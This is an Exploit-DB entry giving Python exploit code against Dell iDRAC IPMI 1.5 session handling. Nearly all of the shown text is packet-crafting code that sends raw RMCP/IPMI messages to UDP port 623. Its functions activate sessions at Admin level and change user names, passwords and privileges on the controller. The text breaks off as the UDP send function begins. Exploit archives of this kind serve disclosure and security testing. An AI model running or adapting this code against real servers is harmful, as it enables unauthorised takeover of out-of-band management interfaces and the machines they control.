Exploit-DB #35770
Description: Dell iDRAC IPMI 1.5 - Insufficient Session ID Randomness
Type: webapps
Platform: hardware
Date: 2015-01-13
Author: Yong Chuan_ Koh

Exploit:
"""
For testing purposes only.

(c) Yong Chuan, Koh 2014
"""

from time import sleep
from socket import *
from struct import *
from random import *
import sys, os, argparse 

HOST = None
PORT = 623

bufsize = 1024
recv = ""


# create socket
UDPsock = socket(AF_INET,SOCK_DGRAM)
UDPsock.settimeout(2)

data = 21	#offset of data start

RMCP = ('\x06' + 	#RMCP.version = ASF RMCP v1.0
	'\x00' +	#RMCP.reserved
	'\xFF' +	#RMCP.seq
	'\x07'		#RMCP.Type/Class = Normal_RMCP/IPMI
	)



def SessionHeader (ipmi, auth_type='None', seq_num=0, sess_id=0, pwd=None):
	auth_types = {'None':0, 'MD2':1, 'MD5':2, 'Reserved':3, 'Straight Pwd':4, 'OEM':5}

	sess_header = ''
	sess_header += pack('<B', auth_types[auth_type])
	sess_header += pack('<L', seq_num)
	sess_header += pack('<L', sess_id)
	if auth_type is not 'None':
		raw = pwd + pack('<L', sess_id) + ipmi + pack('<L', seq_num) + pwd
		import hashlib
		h = hashlib.md5(raw)
		sess_header += h.digest()
	sess_header += pack('B', len(ipmi))
			
	return sess_header


class CreateIPMI ():
	def __init__ (self):
		self.priv_lvls = {'Reserved':0, 'Callback':1, 'User':2, 'Operator':3, 'Admin':4, 'OEM':5, 'NO ACCESS':15 }
		self.priv_lvls_2 = {0:'Reserved', 1:'Callback', 2:'User', 3:'Operator', 4:'Admin', 5:'OEM', 15:'NO ACCESS'}
		self.auth_types = {'None':0, 'MD2':1, 'MD5':2, 'Reserved':3, 'Straight Pwd':4, 'OEM':5}

	def CheckSum (self, bytes):

		chksum = 0
		q = ''
		for i in bytes:
			q += '%02X ' %ord(i)
			chksum = (chksum + ord(i)) % 0x100
		if chksum > 0:
			chksum = 0x100 - chksum

		return pack('>B', chksum)


	def Header (self, cmd, seq_num=0x00):
		#only for IPMI v1.5
		cmds = {'Get Channel Auth Capabilities'	: (0x06, 0x38), #(netfn, cmd_code)
			'Get Session Challenge'		: (0x06, 0x39), 
			'Activate Session'		: (0x06, 0x3a),
			'Set Session Privilege Level'	: (0x06, 0x3b),
			'Close Session'			: (0x06, 0x3c),
			'Set User Access'		: (0x06, 0x43),
			'Get User Access'		: (0x06, 0x44),
			'Set User Name'			: (0x06, 0x45),
			'Get User Name'			: (0x06, 0x46),
			'Set User Password'		: (0x06, 0x47),
			'Get Chassis Status'		: (0x00, 0x01)}
		ipmi_header = ''
		ipmi_header += pack('<B', 0x20)			#target addr
		ipmi_header += pack('<B', cmds[cmd][0]<<2 | 0) 	#netfn | target lun
		ipmi_header += self.CheckSum (ipmi_header)
		ipmi_header += pack('<B', 0x81)			#source addr
		ipmi_header += pack('<B', seq_num<<2 | 0)	#seq_num | source lun
		ipmi_header += pack('<B', cmds[cmd][1])		#IPMI message command

		return ipmi_header


	def GetChannelAuthenticationCapabilities (self, hdr_seq, chn=0x0E, priv_lvl='Admin'):
		ipmi = ''
		ipmi += self.Header('Get Channel Auth Capabilities', hdr_seq)
		ipmi += pack('<B', 0<<7 | chn)			#IPMI v1.5 | chn num (0-7, 14=current_chn, 15)
		ipmi += pack('<B', self.priv_lvls[priv_lvl])	#requested privilege level
		ipmi += self.CheckSum (ipmi[3:])
		
		return ipmi


	def GetSessionChallenge (self, hdr_seq, username, auth_type='MD5'):
		#only for IPMI v1.5
		ipmi = ''
		ipmi += self.Header('Get Session Challenge', hdr_seq)
		ipmi += pack('<B', self.auth_types[auth_type])	#authentication type
		ipmi += username				#user name
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi


	def ActivateSession (self, hdr_seq, authcode, auth_type='MD5', priv_lvl='Admin'):
		#only for IPMI v1.5	
		ipmi = ''
		ipmi += self.Header('Activate Session', hdr_seq)
		ipmi += pack('>B', self.auth_types[auth_type])
		ipmi += pack('>B', self.priv_lvls[priv_lvl])
		ipmi += authcode		#challenge string
		ipmi += pack('<L', 0xdeadb0b0)	#initial outbound seq num
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi


	def SetSessionPrivilegeLevel (self, hdr_seq, priv_lvl='Admin'):
		#only for IPMI v1.5
		ipmi = ''
		ipmi += self.Header('Set Session Privilege Level', hdr_seq)
		ipmi += pack('>B', self.priv_lvls[priv_lvl])
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi


	def CloseSession (self, hdr_seq, sess_id):
		ipmi = ''
		ipmi += self.Header ("Close Session", hdr_seq)
		ipmi += pack('<L', sess_id)
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi


	def GetChassisStatus (self, hdr_seq):
		ipmi = ''
		ipmi += self.Header ("Get Chassis Status", hdr_seq)
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi


	def GetUserAccess (self, hdr_seq, user_id, chn_num=0x0E):
		ipmi = ''
		ipmi += self.Header ("Get User Access", hdr_seq)
		ipmi += pack('>B', chn_num)		#chn_num = 0x0E = current channel
		ipmi += pack('>B', user_id)
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi


	def GetUserName (self, hdr_seq, user_id=2):
		ipmi = ''
		ipmi += self.Header ("Get User Name", hdr_seq)
		ipmi += pack('>B', user_id)
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi

	def SetUserName (self, hdr_seq, user_id, user_name):
		#Assign user_name to user_id, replaces if user_id is occupied
		ipmi = ''
		ipmi += self.Header ("Set User Name", hdr_seq)
		ipmi += pack('>B', user_id)
		ipmi += user_name.ljust(16, '\x00')
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi

	def SetUserPassword (self, hdr_seq, user_id, password, op='set password'):
		ops = {'disable user':0, 'enable user':1, 'set password':2, 'test password':3}
		ipmi = ''
		ipmi += self.Header ("Set User Password", hdr_seq)
		ipmi += pack('>B', user_id)
		ipmi += pack('>B', ops[op])
		ipmi += password.ljust(16, '\x00') #IPMI v1.5: 16bytes | IPMI v2.0: 20bytes
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi

	def SetUserAccess (self, hdr_seq, user_id, new_priv, chn=0x0E):
		ipmi = ''
		ipmi += self.Header ("Set User Access", hdr_seq)
		ipmi += pack('<B', 1<<7 | 0<<6 | 0<<5 | 1<<4 | chn)	#bit4=1=enable user for IPMI Messaging | chn=0xE=current channel
		ipmi += pack('>B', user_id)
		ipmi += pack('>B', self.priv_lvls[new_priv])
		ipmi += pack('>B', 0)
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi


def SendUDP (pkt):

	global HOST, PORT